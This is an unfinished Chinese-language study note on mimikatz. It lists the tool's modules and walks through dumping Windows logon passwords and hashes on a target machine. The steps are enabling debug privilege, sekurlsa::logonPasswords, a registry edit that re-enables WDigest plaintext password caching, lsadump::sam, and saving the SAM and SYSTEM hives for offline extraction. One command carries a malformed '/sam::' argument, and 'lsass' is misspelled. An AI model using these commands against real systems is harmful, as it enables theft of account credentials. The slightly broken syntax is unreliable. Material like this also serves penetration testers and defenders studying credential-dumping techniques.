mimikatz学习笔记
mimikatz是一款用C语言编写的用于windows系统凭证收集利用的程序,该程序功能强大,通过它你可以提升进程权限注入进程读取进程内存
基本命令:
exit-退出mimikatz cls-清除屏幕(不适用于重定向,如PsExec) answer-回答生命、宇宙和一切的终极问题 coffee-请给我煮杯咖啡! sleep-睡眠毫秒数 log-将mimikatz输入/输出记录到文件 base64-开关文件输入/输出base64 version-显示一些版本信息 cd-更改或显示当前目录 localtime-显示系统本地日期和时间(OJ命令) hostname-显示系统本地主机名
标准模块:
standard - 标准模块 [Basic commands (does not require module name)] crypto - 密码模块 sekurlsa - sekurlsa模块[枚举凭据的一些命令…] kerberos - kerberos包模块 privilege - 特权模块 process - 流程模块 service - 服务模块 lsadump - LsaDump模块 ts - 终端服务器模块 event - 事件模块 misc - 杂项模块 token - 令牌操作模块 vault - Windows保管库/凭据模块 minesweeper - 扫雷艇模块 net - dpapi - dpapi模块(通过API或原始访问)[数据保护应用程序编程接口] busylight - busylight模块 sysenv - 系统环境值模块 sid - 安全标识符模块 iis - IIS XML配置模块 rpc - mimikatz的rpc控制 sr98 - 用于sr98设备和T5577目标的射频模块 rdm - (830 AL)设备的RF模块 acr - acr模块
一、基础用法:获取windows系统明文密码及HASH
1、提权
由于是要操纵系统内存的,所以需要Debug权限
privilege::debug
2、抓取
sekurlsa::logonPasswords
可以查到密码为:
3、如果报错,可能是注册表问题,尝试在cmd中输入如下命令(管理员模式)
reg add hklm\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
原理:
当用户登陆后,会把账号密码保存在 Isass中,Isass是微软 Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其 Wdigest和 tspg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码
二、只获取系统HASH
1、mimikatz with reg (online)
privilege::debug
token::elevate
lsadump::sam
2、mimikatz with reg(offline)
非在线获取,没有将mimikatz传到目标机器上去,就要想办法将这两个文件获取下来(需要管理员权限)
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam::SamBkup
在目标机器上执行
将这两个文件从目标机器上下载下来,拷贝到mimikatz文件夹中执行
未完。。。